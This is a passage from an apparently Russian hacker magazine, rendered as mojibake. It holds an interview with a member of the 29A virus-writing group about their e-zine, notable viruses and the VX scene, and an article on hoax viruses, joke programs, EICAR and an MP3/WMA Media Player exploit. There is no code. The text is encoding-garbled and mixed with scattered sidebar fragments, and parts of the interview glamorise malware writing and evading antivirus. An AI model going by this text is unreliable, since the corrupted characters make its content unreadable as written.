òèì, ÷òîáû èçäàíèå áûëî ìàêñèìàëü-
íî íàñûùåííûì è èíôîðìàòèâíûì. Ê
ýòîìó ìîìåíòó ìû âûïóñòèëè 6 íîìå-
ðîâ, è ñåé÷àñ â ðàçðàáîòêå íàõîäèòñÿ
29A #7.

mindw0rk: Ðàññêàæè ïîïîäðîáíåå î
ïðîöåññå ñîçäàíèÿ âàøåãî æóðíàëà.
VVBB:: 29A e-zine - ýòî ñìûñë ñóùåñòâî-
âàíèÿ ãðóïïû. Ãðóïïà 29A æèâåò äëÿ
òîãî, ÷òîáû äåëàòü æóðíàë 29A. Íà
ñîçäàíèå íîâîãî âûïóñêà óõîäèò ìíî-
ãî âðåìåíè è óñèëèé. È âñå, ÷òî ìû
èìååò âçàìåí - íóëåâàÿ èëè äàæå íå-
ãàòèâíàÿ ðåàêöèÿ îò VX-ñöåíû. Áîëü-
øàÿ ÷àñòü ìàòåðèàëîâ - òåõíè÷åñêèå
ñòàòüè î òîì, êàê äåëàòü âèðóñû. Â
ïîñëåäíèõ âûïóñêàõ ìû òàêæå ïóáëè-
êóåì òåêñòû îá óÿçâèìîñòÿõ â ñåòÿõ.
Ìíîãèå ìåìáåðû 29A ñ÷èòàþò, ÷òî áó-
äóùåå âèðóñìåéêåðñòâà íàïðÿìóþ
ñâÿçàíî ñ õàêåðñòâîì è ñåòåâûìè áà-
ãàìè. Ìû ñîáèðàåìñÿ äåëàòü æóðíàë è
äàëüøå, âûïóñòèòü êàê ìîæíî áîëüøå
íîìåðîâ. Êñòàòè, ó÷àñòèå â íàïîëíå-
íèè 29A mag ïðèíèìàþò íå òîëüêî
÷ëåíû íàøåé êîìàíäû, íî è äðóãèå
êâàëèôèöèðîâàííûå âèðóñìåéêåðû.

mindw0rk:  Íàçîâè ñàìûå èçâåñòíûå
âèðè, âûïóùåííûå ïàðíÿìè èç 29A.
VVBB:: Òàêèõ ìíîãî. Â êà÷åñòâå ïðèìåðà
ìîãó íàçâàòü Hybris îò Vecna è
Marburg îò GriYo.

mindw0rk: Íàñêîëüêî âåëèêî âíèìà-
íèå ê âàì àíòèõàêåðñêèõ è àíòèâèðóñ-
íûõ îðãàíèçàöèé? Áûë ëè êòî-òî èç
29A êîãäà-íèáóäü àðåñòîâàí? Âîîá-
ùå, áûëè ëè ó âàñ êàêèå-íèáóäü ïðîá-
ëåìû, âîçíèêøèå èç-çà âàøåé âèðóñ-
íîé äåÿòåëüíîñòè?
VVBB:: Ìû çíàåì, ÷òî àìåðèêàíñêîå (è,
ñêîðåå âñåãî, íå òîëüêî àìåðèêàíñ-
êîå) ïðàâèòåëüñòâî ñêðûòíî ïðèñìàò-
ðèâàåò çà VX scene. Îäíàêî ïîêà íåò
ïðè÷èí ñ÷èòàòü, ÷òî êîíêðåòíî 29A
íàõîäèòñÿ ïîä íàáëþäåíèåì. Ñëó÷àè,
êîãäà ÷åëîâåêà àðåñòîâûâàëè çà ñîç-
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Ñàìûé
îïàñíûé
âèðü â êîë-
ëåêöèè -
êîíå÷íî æå,
CIH.

Îêàçûâàåò-
ñÿ, èíôîð-
ìàöèÿ ïðî
óòèëèòó íà
íàøåé áîð-
äå äîøëà äî
Åâãåíèÿ
Êàñïåðñêî-
ãî, è îí íå
ïîëåíèëñÿ
ñäåëàòü fix
ñâîåãî ïðî-
äóêòà. Äà
åùå è áóê-
âàëüíî ïî-
êàçàë ÿçûê
íàì - âè-
ðóñìåéêå-
ðàì :).
Êëàññíûå
áûëè âðå-
ìåíà...

Âèçóàëüíîå ïðîÿâëåíèå âèðóñà 

MARBURG

Âñå ìåìáåðû 29A 
ÿâëÿþòñÿ ëó÷øèìè 

â ìèðå âèðóñ-êîäåðàìè.

Ãðóïïà 29A



Æåíàò, è
æåíà ìîÿ,
ïîæàëóé,
ÿâëÿåòñÿ
ìîèì ãëàâ-
íûì èíòå-
ðåñîì.

AVP scan-
ning in
memory for
viruses...
Memory
modified at
1234:5678
- ;-)

VX-ñöåíà
óæå ïðàêòè-
÷åñêè íå ñó-
ùåñòâóåò.
Ïðîñòî êó÷-
êà ëþäåé
òðåïëåòñÿ
íà íåñêîëü-
êèõ êàíàëàõ
IRC è ïîòå-
øàåòñÿ íàä
òåìè, êòî
ïûòàåòñÿ
âëèòüñÿ,
÷òî-òî óç-
íàòü.

äàíèå âèðóñîâ, ìîæíî ïåðåñ÷èòàòü
ïî ïàëüöàì. Åùå ìåíüøå òåõ, êîãî çà
ýòî íàêàçûâàëè: àâòîð âèðóñà Smeg
(íå ïîìíþ èìåíè), Äýâèä Ë. Ñìèòà
aka VicodinES, Simon Vallor - àâòîð
Goner'à. Â íàøåé ãðóïïå íè îäèí ìåì-
áåð íå èìåë è íå èìååò ïðîáëåì ñ çà-
êîíîì (ïîñòó÷àë ïî äåðåâó). Ìû íå
ïèøåì äåñòðóêòèâíûå âèðóñû è
î÷åíü ñåðüåçíî îòíîñèìñÿ ê ñâîåé
privacy. Âñÿ âíóòðåííÿÿ ïåðåïèñêà
ïðîõîäèò èñêëþ÷èòåëüíî â çàøèôðî-
âàííîì âèäå.

mindw0rk: Âû âñå êâàëèôèöèðîâàí-
íûå ñïåöèàëèñòû â îáëàñòè âèðóñîâ,
íàâåðíÿêà âàø ïðîôåññèîíàëèçì
ìîæåò çàèíòåðåñîâàòü ëåãàëüíûå îð-
ãàíèçàöèè. Ïîñòóïàëè ëè ê âàì êà-
êèå-íèáóäü ïðåäëîæåíèÿ ïî ïîâîäó
ðàáîòû?
VVBB:: Ýòîò âîïðîñ ìîæåò ïîéòè â ðàçðåç
ñ privacy ÷ëåíîâ 29A. ×òîáû íà íåãî
îòâåòèòü, ìíå íóæíî ñïðîñèòü ñîãëà-
ñèÿ îñòàëüíûõ ìåìáåðîâ.

mindw0rk: Ïðèíèìàåò ëè 29À ó÷àñòèå
â âèðóñíûõ êîíôåðåíöèÿõ è òóñîâêàõ
âèðìåéêåðîâ? Åñëè äà, áûëè ëè êà-
êèå-òî äîêëàäû îò âàñ?

VVBB:: 29À - ýòî ãðóïïà ëþäåé, æèâóùèõ
â ñîâåðøåííî ðàçíûõ ÷àñòÿõ ìèðà
(Èñïàíèÿ, ×åõèÿ, Ðîññèÿ, Áðàçèëèÿ
etc). Ïîýòîìó ïîëíûì ñîñòàâîì ñîáè-
ðàòüñÿ ìû íå ìîæåì. Èíäèâèäóàëüíî -
êîíå÷íî, ïîñåùàåì, ïðè÷åì íåêîòî-
ðûå ìåìáåðû äåéñòâèòåëüíî ãîòîâèëè
íåáîëüøèå äîêëàäû ïî âèðóñàì. Ñà-
ìàÿ áîëüøàÿ VX-òóñîâêà, â êîòîðîé
ïðèíÿëà ó÷àñòèå 29À, ïðîøëà â Ìàä-
ðèäå â 1998 ã. Òîãäà ñîáðàëàñü êó÷à
íàðîäó è âñåì áûëî âåñåëî. Äî ñèõ
ïîð âñïîìèíàþ î òîì âðåìåíè ñ óäî-
âîëüñòâèåì. Åùå íåïëîõàÿ âñòðå÷à
âèðóñìåéêåðîâ áûëà â 1999 ã. â Àìñ-
òåðäàìå.

mindw0rk: Ìíîãèå íàçûâàþò 29À ëó÷-
øåé â ìèðå âèðóñìåéêåðñêîé ãðóïïîé.
Ñîãëàñåí ëè òû ñ ýòèì? Êàêèå åùå VX-
ãðóïïû ìîãóò ïðåòåíäîâàòü íà òàêîé
òèòóë?
VVBB:: Âîîáùå-òî ñåé÷àñ íå òàê óæ è
ìíîãî ãðóïï, ÷òîáû ïðîâîäèòü ðåéòèí-
ãè. Íåñêîëüêî ëåò íàçàä, êîãäà IKX èëè
The Matrix áûëè àêòèâíû, åùå ìîæíî
áûëî. Ýòè êîìàíäû âñåãäà áûëè íà
âûñîòå. Õîòÿ äàæå òîãäà 29À áûëà çå
áåñò :). Êðîìå ýòèõ äâóõ ãðóïï, ÿ íèêî-
ãî íå âèæó. Òåì áîëåå, ñåé÷àñ.

mindw0rk: Êàê ñåé÷àñ îáñòîÿò äåëà ñ
VX scene? Íàñêîëüêî îíà âåëèêà, êà-
êàÿ àòìîñôåðà öàðèò âíóòðè? Êàêîé
îíà îáåùàåò ñòàòü â áóäóùåì?
VVBB:: ß äóìàþ, VX-ñöåíà óæå ïðàêòè÷åñ-
êè íå ñóùåñòâóåò. Ïðîñòî êó÷êà ëþäåé
òðåïëåòñÿ íà íåñêîëüêèõ êàíàëàõ IRC
è ïîòåøàåòñÿ íàä òåìè, êòî ïûòàåòñÿ
âëèòüñÿ, ÷òî-òî óçíàòü. Àòìîñôåðó íè-
êàê íåëüçÿ íàçâàòü äðóæåëþáíîé. Â

ñîîáùåñòâå âèðóñìåéêåðîâ ïîëíî çà-
âèñòëèâûõ è ðåâíèâûõ ëþäåé. Íåêîòî-
ðûå - ïðîñòî ìåðçêèå òèïû. Ñòðîÿò èç
ñåáÿ íåïîíÿòíî ÷òî, ñèäÿò íà èðêå è
áàíÿò íåóãîäíûõ íüþáèñîâ. Êîðî÷å
ãîâîðÿ, VX ñöåíà ñåé÷àñ - ñàêñ. ×òî êà-
ñàåòñÿ áóäóùåãî... ìîæåò ëè âñå áûòü
åùå õóæå, ÷åì ñåé÷àñ? Áóäåì íàäå-
ÿòüñÿ, ÷òî ýòî íåâîçìîæíî.

mindw0rk: È âñå-òàêè, ðàññêàæè î ñâî-
èõ ñàìûõ ñ÷àñòëèâûõ âîñïîìèíàíèÿõ,
èìåþùèõ îòíîøåíèå ê VX-ñöåíå.
VVBB:: Âñå îíè îòíîñÿòñÿ ê òîìó âðåìåíè,
êîãäà ìû îáèòàëè íà IRC ñåðâàêå
Hispano. Ýòî áûëè çîëîòûå ãîäû ñöå-
íû. Êîãäà Jacky Qwerty, Int13h, SSR, è
ìíîãèå äðóãèå îòëè÷íûå âèðóñêîäåðû
îáùàëèñü è òóñîâàëèñü âìåñòå. Êîãäà
íå áûëî âñåãî òîãî, ÷òî ïðèñóùå ñîâ-
ðåìåííîé "ñöåíå".

mindw0rk: À êàê íàñ÷åò h/p/c/w? Íàñ-
êîëüêî òû îñâåäîìëåí î ñîñòîÿíèè
ýòèõ ñîîáùåñòâ?
VVBB:: Êîãäà-òî ÿ áûë ñîôòâàðíûì êðà-
êåðîì, íî â ãðóïïàõ íå ñîñòîÿë. Ó ìå-
íÿ òàêæå áûëî íåñêîëüêî äðóçåé ñðå-
äè êðàêåðîâ, õîòÿ ÿ óæå äàâíî ñ íèìè
íå ïîääåðæèâàþ ñâÿçü. ×åñòíî ãîâî-
ðÿ, îá ýòèõ ñîîáùåñòâàõ ÿ çíàþ íåì-
íîãî. Ïîýòîìó âûñêàçûâàòü ñâîå ìíå-
íèå î íèõ íå áóäó.

mindw0rk: ×òî íóæíî äëÿ òîãî, ÷òîáû
ñîçäàòü ÕÎÐÎØÈÉ âèðóñ?
VVBB:: Òâîð÷åñêîå âîîáðàæåíèå.

mindw0rk: À ðåàëüíî ðóëåçíûé âè-
ðóñ?
VVBB:: Õìì� âèðóñ, êîòîðûé ïðîíèêíåò íà
êîìïüþòåð Åâãåíèÿ Êàñïåðñêîãî òàê,
÷òî Åâãåíèé îá ýòîì íå óçíàåò, äóìàþ
âïîëíå ìîæíî íàçâàòü ðóëåçíûì :).

mindw0rk: Êàêèå ñåé÷àñ íàèáîëåå
ïðîäâèíóòûå òåõíèêè, èñïîëüçóåìûå
âèðìåéêåðàìè?
VVBB:: EPO è ñïîñîáíîñòè ê ìåòàìîðôó.

mindw0rk: Êàê òû äóìàåøü, êàêèå
ïëàòôîðìû â áóäóùåì ñòàíóò íîâûì
ïîëèãîíîì äëÿ âèðåé?
VVBB:: Ñëîæíî ñêàçàòü. Êîìïüþòåðíûå
òåõíîëîãèè ñåé÷àñ ïîñòîÿííî ìåíÿþò-
ñÿ. Òî, ÷òî ñåãîäíÿ ïðàâèò ìèðîì,
çàâòðà ìîæåò óæå áûòü áåñïîëåçíûì
è çàáûòûì. Èìõî, áëèæàéøåå áóäó-
ùåå âèðåé îñòàíåòñÿ çà âèíäàìè (êàê
îáû÷íî) è Linux.
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Ñàéò-áèáëèÿ âèðìåéêåðà

Êîìïüþòåð îñíîâàòåëÿ 29A

29À - ýòî ãðóïïà ëþäåé, æèâóùèõ 
â ñîâåðøåííî ðàçíûõ ÷àñòÿõ ìèðà 

(Èñïàíèÿ, ×åõèÿ, Ðîññèÿ, Áðàçèëèÿ etc).



mindw0rk: Êàê òû äóìàåøü, ìîæíî ëè
ñîçäàòü âèðóñ, êîòîðûé íå ñìîæåò îá-
íàðóæèòü è âûëå÷èòü íè îäèí àíòèâè-
ðóñ?
VVBB:: Äóìàþ, ýòî âîçìîæíî. ß âîîáùå
ñ÷èòàþ, ÷òî íå ñòîèò íàçûâàòü ÷òî-ëè-
áî íåâîçìîæíûì. Ëó÷øå ñêàçàòü, ÷òî
ïîêà ýòîãî åùå íå ñäåëàëè.

mindw0rk: Òâîå ìíåíèå îá àíòèâèðóñ-
íèêàõ? Íàñêîëüêî õîðîøî îíè äåëàþò
ñâîþ ðàáîòó, è êàêàÿ èç ñòîðîí âûèã-
ðûâàåò íà äàííûé ìîìåíò?
VVBB:: Îíè âîñòðåáîâàíû, òàê ÷òî, ïî-ìî-
åìó, íè÷åãî ïëîõîãî â ýòîì íåò. Ýòè
ðåáÿòà ïîäíèìàþò ëåãêèå äåíüãè, â òî
âðåìÿ êàê VX-ñöåíà óìèðàåò. Ñòàðàÿ
ãâàðäèÿ ïîñòåïåííî ïîêèäàåò ñöåíó,
íî ïðèéòè åé íà ñìåíó íåêîìó. Íîâîå
ïîêîëåíèå ëåíèòñÿ èçó÷àòü àññåìá-
ëåð, øòàìïóÿ ïîõîæèå äðóã íà äðóãà
VBS-, ìàêðî- è BAT-âèðóñû. À òî è
ïðîñòî èñïîëüçóåò ïðîãðàììû âèðóñ-
ãåíåðàòîðû. Òàê ÷òî, ê ñîæàëåíèþ, ïî-
êà ïîáåäà íàõîäèòñÿ íà ñòîðîíå àíòè-
âèðóñíîé áðàòèè. È ÷åì äàëüøå, òåì
âñå ñòàíîâèòñÿ õóæå.

mindw0rk: Ëó÷øèå, íà òâîé âçãëÿä:
âèðóñ, ÷åðâü, âèðóñìåéêåð, VX zine,
VX ñàéò, VX-òóñà è àíòèâèðóñ?
VVBB:: "Ëó÷øèå" âèðóñ, ÷åðâü è âèðóñ-
ìåéêåð, ÿ äóìàþ, ïðîñòî íå ñóùåñòâó-
þò. Â ñìûñëå òóò ñëîâî "ëó÷øèé" íåó-
ìåñòíî. Ëó÷øèé æóðíàë - ýòî, áåç ñîì-
íåíèÿ, 29A. Ñàéò - VX Heavens
(http://vx.netlux.org). Õîðîøèõ òóñîâîê
âèðóñìåéêåðîâ óæå íåò, íî èç ïðîø-
ëûõ ëó÷øàÿ, êàê ÿ óæå ãîâîðèë - òà,
÷òî ïðîõîäèëà â Ìàäðèäå â 1998 ã. Èç

àíòèâèðóñíûõ ïðîãðàìì îòäàþ ñâîé
ãîëîñ AVP è RAV.

mindw0rk: Êàê òâîÿ æåíà îòíîñèòñÿ
ê òâîåìó ìàëåíüêîìó õîááè (êîëëåê-
öèîíèðîâàíèå âèðåé è ñîçäàíèå
æóðíàëà)?
VVBB:: Îíà ñ÷àñòëèâà, åñëè ñ÷àñòëèâ ÿ.
Ïîýòîìó íèêàêèõ ïðåòåíçèé ñ åå ñòî-
ðîíû íåò.

mindw0rk: Íàïîñëåäîê ðàññêàæè êà-
êîé-íèáóäü çàáàâíûé ñëó÷àé èç æèç-
íè 29A, êîòîðûé òû âñïîìèíàåøü ñ
óëûáêîé.
VVBB:: Íåñêîëüêî ëåò íàçàä, ãîäó â 95,
ìû âûëîæèëè íà DarkNode BBS íîâûé
àíòèâèðóñ Antiviral Toolkit Pro v 2.0
äëÿ DOS. Âñå òîãäà ñ èíòåðåñîì âçÿ-
ëèñü çà åãî èçó÷åíèå, à îäèí êîäåð
íàïèñàë ïðîñòåíüêóþ ñîôòèíó, îòê-
ëþ÷àþùóþ ðåçèäåíòíûé àíòèâèðóñ-
íûé ìîíèòîð. Ïðèìåðíî â òî æå âðåìÿ
äèñòðèáüþòîð AVP âî Ôðàíöèè è Èñ-
ïàíèè Ãåðàðä Ìýíèã ïîäêëþ÷èëñÿ ê
íàøåé áîðäå. Îí óçíàë î ïðîãðàììå,
îòêëþ÷àþùåé ìîíèòîð, è ñêà÷àë åå
ïîòåñòèòü. Íåêîòîðîå âðåìÿ ñïóñòÿ ó
íàñ îêàçàëñÿ íîâûé ðåëèç AVP - 2.2.
Òàê âîò, êîãäà ìû çàïóñòèëè âûøåóïî-
ìÿíóòóþ óòèëèòó íà íåì, íà ýêðàíå òóò
æå ïîÿâèëàñü íàäïèñü: "AVP scanning
in memory for viruses... Memory modi-
fied at 1234:5678 - ;-)". Îêàçûâàåòñÿ,
èíôîðìàöèÿ ïðî óòèëèòó íà íàøåé
áîðäå äîøëà äî Åâãåíèÿ Êàñïåðñêîãî,
è îí íå ïîëåíèëñÿ ñäåëàòü fix ñâîåãî
ïðîäóêòà. Äà åùå è áóêâàëüíî ïîêà-
çàë ÿçûê íàì - âèðóñìåéêåðàì :).
Êëàññíûå áûëè âðåìåíà... A

Ñàéò ãðóïïû

"Ëó÷øèå" âèðóñ, ÷åðâü è âèðóñìåéêåð, 
ÿ äóìàþ, ïðîñòî íå ñóùåñòâóþò. 

Â ñìûñëå òóò ñëîâî "ëó÷øèé" íåóìåñòíî.



Êîìïîçè-
öèÿ, ñîäåð-
æàùàÿ â ñå-
áå çâóê è
íåáîëüøîé
ñêðèïò, ïîç-
âîëÿþùèé
îòêðûâàòü
áîëüøîå
÷èñëî
popup-îêî-
øåê, áûëè
ñäåëàíû â
ôîðìàòå
wma. Çàòåì
ôàéë áûë
ïåðåèìåíî-
âàí â mp3.
Èç-çà òîãî,
÷òî ïðîèã-
ðûâàòåëü íå
îáðàùàåò
âíèìàíèÿ íà
íåñîîòâåò-
ñòâèå ðàñ-
øèðåíèé,
ñòàíîâèëîñü
âîçìîæíûì
ðàñïðîñòðà-
íÿòü ýòîò
âèðóñ.

Êîìïüþòåð-
íûå ìèñòè-
ôèêàöèè
ïðåäñòàâëÿ-
þò ñîáîé
çëóþ øóò-
êó, êîòîðàÿ
ðàñïðîñòðà-
íÿåòñÿ â
Ñåòè ÷åðåç
WWW èëè
e-mail.
Ïîëüçû îò
òàêîé çàðà-
çû íèêàêîé,
çëîóìûø-
ëåííèêè
ïðåñëåäóþò
ëèøü îäíó
öåëü - ðàñï-
ðîñòðàíå-
íèå.

Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

Ó ñëûøàâ ñëîâî "âèðóñ", ÷åëîâåê íåâîëüíî äóìàåò î êîìïüþòåðàõ, âîîáðàæàÿ ñåáå âðåäîíîñíóþ ïðîãðàììó, èùó-
ùóþ ôàéëû ñ öåëüþ èõ çàðàçèòü. Ýòî íåìíîãî íåïðàâèëüíî, òàê êàê ê âèðóñàì ìîæíî îòíåñòè è ïðîãðàììû, êîòî-

ðûå íàïèñàíû äëÿ, êàçàëîñü áû, ñòîðîííèõ âåùåé. Òàêèõ, êàê ìîáèëüíèê èëè êàðìàííûé êîìïüþòåð. Íàïèñàòü âèðü äëÿ
ïîäîáíûõ ïðåäìåòîâ îáèõîäà íåïðîñòî, íî âïîëíå âîçìîæíî. Ó÷èòûâàÿ òî, ÷òî êàðìàííèêè è òåëåôîíû ìîãóò ïîäêëþ-
÷àòüñÿ ê èíòåðíåòó, ðàñïðîñòðàíèòü çàðàçó î÷åíü ëåãêî.

ÄÈÊÎÂÈÍÍÛÅ 
ÂÈÐÓÑÛ
ÍÅÑÒÀÍÄÀÐÒÍÀß ÇÀÐÀÇÀ ÄËß ÑÒÀÍÄÀÐÒÍÛÕ ÂÅÙÅÉ

ÊÎÌÏÜÞÒÅÐÍÛÅ
ÌÈÑÒÈÔÈÊÀÖÈÈ

Ïðåæäå ÷åì ïåðåé-
òè ê ïðèêëàäíûì âå-
ùàì, íóæíî ðàññìîò-

ðåòü îäèí ïîäâèä äèêîâèííûõ âèðåé
- êîìïüþòåðíûå ìèñòèôèêàöèè. Îíè
ïðåäñòàâëÿþò ñîáîé çëóþ øóòêó, êî-
òîðàÿ ðàñïðîñòðàíÿåòñÿ â Ñåòè ÷å-
ðåç WWW èëè e-mail. Ïîëüçû îò òà-
êîé çàðàçû íèêàêîé, çëîóìûøëåííè-
êè ïðåñëåäóþò ëèøü îäíó öåëü -
ðàñïðîñòðàíåíèå. Íàèâíûå þçåðû,
äóìàÿ, ÷òî ïåðåñûëêîé ëîæíîãî
ïèñüìà îáåçîïàñÿò ãëîáàë îò âèðó-
ñà, èñïîëíÿþò ðîëü ïåðåíîñ÷èêà
ýëåêòðîííîé çàðàçû â Ñåòè.

Íåñìîòðÿ íà îòäàëåííîñòü îò âèðóñà,
òàêàÿ çàðàçà ôèêñèðóåòñÿ íà ýëåêòðîí-
íûõ ñòðàíèöàõ âèðóñíûõ ýíöèêëîïåäèé.
Âîò íåêîòîðûå ïðèìåðû çëûõ øóòîê:

GoodTimes. Ïñåâäîâèðóñ ðàñïðîñòðà-
íÿëñÿ ïî ñåòÿì â íà÷àëå 1994 ãîäà â
âèäå íåáîëüøîãî ýëåêòðîííîãî ïèñü-
ìà, ãëàñèâøåãî, ÷òî â èíòåðíåòå áóøó-
åò âèðóñ Good Times, åãî íåîáõîäèìî
ñðàçó óäàëèòü. Ýòî ïèñüìî âûçâàëî
ïàíèêó ñðåäè ïîëüçîâàòåëåé, ïîòîìó
êàê äî ýòîãî íè÷åãî ïîäîáíîãî íå íàá-
ëþäàëîñü. Ëèøü ê íà÷àëó 1995 ãîäà
ïñåâäîâèðóñ ïîòåðÿë ñâîþ àêòóàëü-
íîñòü. Õîòÿ ïðåäñòàâèòåëü êîìïüþòåð-
íîé ìèñòèôèêàöèè ïîáûâàë íà ðåêî-
ðäíîì êîëè÷åñòâå ðàáî÷èõ ìàøèí. Ýòî
ïðèíåñëî åìó îãðîìíóþ ïîïóëÿðíîñòü.

Join The Crew. Ýòîò ïñåâäîâèðóñ ïî-
ÿâèëñÿ ÷óòü ïîçäíåå, â íà÷àëå 1997
ãîäà. Îí ðàñïðîñòðàíÿëñÿ òàêæå ïî
ýëåêòðîííîé ïî÷òå è ñîîáùàë î òîì,
÷òî â Ñåòè ÿêîáû çàïóùåí îïàñíûé
âèðóñ Join The Crew, óíè÷òîæàþùèé
âñå ôàéëû íà íîñèòåëÿõ. Ïèñüìî èí-
ôîðìèðîâàëî ïîëüçîâàòåëÿ î òîì,
÷òî ïðè ïîëó÷åíèè ïîäîáíîãî âèðóñà
ïî ïî÷òå, åãî íåîáõîäèìî ñðàçó óäà-
ëèòü. Â ïðèïèñêå ãîâîðèëîñü: îáÿçà-
òåëüíî ïåðåøëè ýòî ïèñüìî âñåì ëþ-
äÿì â àäðåñíîé êíèãå, ÷òîáû çàðàíåå
èõ ïðåäóïðåäèòü îá îïàñíîñòè. Êîíå÷-
íî, òàêèå ðàññûëêè ðàññ÷èòàíû òîëüêî
íà íåïðîôåññèîíàëüíûõ ïîëüçîâàòå-

ëåé èíòåðíåòà. Ê ñ÷àñòüþ äëÿ çëîó-
ìûøëåííèêîâ, òàêèõ â ãëîáàëå áåñ-
ñ÷åòíîå ìíîæåñòâî.

Ïàðó ëåò íàçàä ïî Ñåòè ãóëÿë áîëåå
ïðîäâèíóòûé ïñåâäîâèðóñ. Îí ãîâî-
ðèë ïîëó÷àòåëþ, ÷òî â åãî ñèñòåìå
îáíàðóæåíà çàðàçà è åå ñòîèò óäà-
ëèòü. Íî ïðåæäå ÷åì ýòî ñäåëàòü,
ñëåäóåò ïåðåñëàòü ìûëî ìàêñèìàëü-
íîìó êîëè÷åñòâó ëþäåé. Êàê òû, íà-
âåðíîå, äîãàäàëñÿ, â ïèñüìå ïðîñÿò
ñòåðåòü âàæíóþ âèíäîâóþ áèáëèîòå-
êó, ïîñëå ÷åãî ðàáîòà â ñèñòåìå áó-
äåò íåâîçìîæíà.

Ïîäîáíûìè ïèñüìàìè ïåðåñûëàþò íå
òîëüêî èíôó î çàðàçå. Çàôèêñèðîâà-
íû ñëó÷àè ïîñòðîåíèÿ öåëûõ ôèíàí-
ñîâûõ ïèðàìèä ÷åðåç ïî÷òîâûå ñîîá-
ùåíèÿ (òåêñò ïèñüìà â ýòîì ñëó÷àå
âûãëÿäèò ïîäîáíî ñëåäóþùåìó: ïå-
ðåøëèòå $10 ïî äâóì àäðåñàì, è áóäåò
âàì ñ÷àñòüå ;)). À î ëþáîâíûõ ïèñüìàõ
è "ñ÷àñòëèâûõ" ðàññûëêàõ ÿ âîîáùå
ìîë÷ó - êàæäûé, íàâåðíîå, èõ ïîëó÷àë.

Ïîìèìî ïî÷òîâûõ øóòîê, ê ìèñòèôè-
êàöèÿì îòíîñÿò è îáû÷íûå ïðîãðàì-

ìû-ïðèêîëû, êîòîðûå ïðè çàïóñêå âû-
âîäÿò íà ýêðàí îïðåäåëåííûé òåêñò
ëèáî ïðîèãðûâàþò ìóçûêó. Òàêèå òâî-
ðåíèÿ áûëè çàíåñåíû â áàçó AVP. Íà
ïåðâûé âçãëÿä ýòî êàæåòñÿ áåññìûñ-
ëåííûì, íî ðàçðàáîò÷èêè àíòèâèðóñ-
íîãî ÏÎ íàøëè öåëûõ 2 ïðè÷èíû, ïî
êîòîðûì ïðîãðàììû òàêîãî ðîäà äå-
òåêòèðóþòñÿ AVP.
1. Ïðåäîòâðàùåíèå ìíîãîêðàòíîé

ïîñûëêè ïðîãðàììû-øóòêè â àíòèâè-
ðóñíóþ ëàáîðàòîðèþ AVP. Ïîñëå îá-
íàðóæåíèÿ ïîäîáíîé ïðîãðàììû
ïîëüçîâàòåëü øëåò åå ñïåöèàëèñòàì,
äî êîíöà íå ðàçîáðàâøèñü â òîì, ÷òî
ñîôòèíà íå ïðåäñòàâëÿåò äëÿ íåãî
îñîáîé îïàñíîñòè. Èç-çà øêâàëà ïî-
äîáíîãî ìóñîðà, ðàáîòíèêè ëàáîðàòî-
ðèè áûëè âûíóæäåíû çàíåñòè òàêèå
ïðîãè â àíòèâèðóñíóþ áàçó.
2. Äëÿ óëó÷øåíèÿ êà÷åñòâà ïðî-

äóêòà. Ïîëüçîâàòåëè, êîòîðûå ïîñå-
ùàþò àðõèâû ñ êîëëåêöèåé ïðîã-
ðàìì-øóòîê, íåðåäêî çàìå÷àþò, ÷òî
ñîçäàòåëè ôàéëîâ ïèøóò î íåâîç-
ìîæíîñòè äåòåêòèðîâàíèÿ àíòèâè-
ðåì. ×òîáû áûòü "âïåðåäè ïëàíåòû
âñåé", òàêèå òâîðåíèÿ áûëè âíåñåíû
â àíòèâèðóñíóþ áàçó.
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"Ñ÷àñòëèâîå ïèñüìî" - ñòàíäàðòíàÿ ðàññûëêà

Çàôèêñèðîâàíû ñëó÷àè ïîñòðîåíèÿ öåëûõ
ôèíàíñîâûõ ïèðàìèä ÷åðåç ïî÷òîâûå

ñîîáùåíèÿ.



Ñóùåñòâî-
âàëè ñëó÷àè
è êîìáèíè-
ðîâàííîé
ðàññûëêè -
ê ïèñüìó
ïðèëàãàëñÿ
àòòà÷ (ðó-
êîâîäñòâî
ïî èçëå÷å-
íèþ îò çà-
ðàçû), êî-
òîðûé áûë
çàðàæåí
îïàñíûì
âèðóñîì.
Åñòåñòâåí-
íî, çàïóñ-
êàòü òàêèå
ôàéëû íå
ñòîèò.

Òàêæå ñóùåñòâóþò ôàéëû, êîòîðûå îï-
ðåäåëÿþòñÿ àíòèâèðóñàìè, íî íå ÿâëÿ-
þòñÿ çàðàçíûìè. Ïðèìåð òàêîé ìèñòèôè-
êàöèè - Eicar. Ýòî 68-áàéòíûé êîìîê, êî-
òîðûé âûâîäèò íà ýêðàí ñòðîêó EICAR-
STANDARD-ANTIVIRUS-TEST-FILE! Åãî çà-
íåñëè â áàçó ëèøü ïîòîìó, ÷òî îí íåîá-
õîäèì äëÿ ïðîâåðêè ðàáîòû àíòèâèðóñà
è ïîñòàâëÿåòñÿ ñ íèì â êîìïëåêòå.

ÌÛ ÏÎÉÄÅÌ ÄÐÓÃÈÌ ÏÓÒÅÌ!
Îòäåëüíî âûäåëÿþòñÿ âèðóñû,

èìåþùèå íåñòàíäàðòíûå àëãîðèòìû
ðàñïðîñòðàíåíèÿ. Ñîâñåì íåäàâíî
âûÿñíèëîñü, ÷òî âèíäîâûé Media
Player ñîäåðæèò áàãó, ÷åðåç êîòîðóþ
ìîæíî áûëî çàïóñêàòü ëîêàëüíûå
ôàéëû. Âèðìåéêåðû ïðîíþõàëè ýòî è
íàïèñàëè ÷óäåñíóþ mp3'øêó, êîòî-
ðàÿ þçàëà ýòó óÿçâèìîñòü. Âûäàâàÿ
ñâîè êîìïîçèöèè çà ïîïóëÿðíûå õè-
òû, ñîçäàòåëè âèðóñà çàñòàâëÿëè
ïðîèãðûâàòåëü íàêðó÷èâàòü áàííå-
ðû íà îïðåäåëåííîì ðåñóðñå. Ýòî
ïðîèñõîäèëî ïðè çàïóñêå ôàéëà èç-
âåñòíûì ïðîèãðûâàòåëåì.

Êàê âûÿñíèëîñü, çâóêîâîé ôàéë áûë
ïðîñòîé ïîääåëêîé. Êîìïîçèöèÿ, ñî-
äåðæàùàÿ â ñåáå çâóê è íåáîëüøîé
ñêðèïò, ïîçâîëÿþùèé îòêðûâàòü

áîëüøîå ÷èñëî popup-îêîøåê, áûëè
ñäåëàíû â ôîðìàòå wma. Çàòåì
ôàéë áûë ïåðåèìåíîâàí â mp3. Èç-
çà òîãî, ÷òî ïðîèãðûâàòåëü íå îáðà-
ùàåò âíèìàíèÿ íà íåñîîòâåòñòâèå
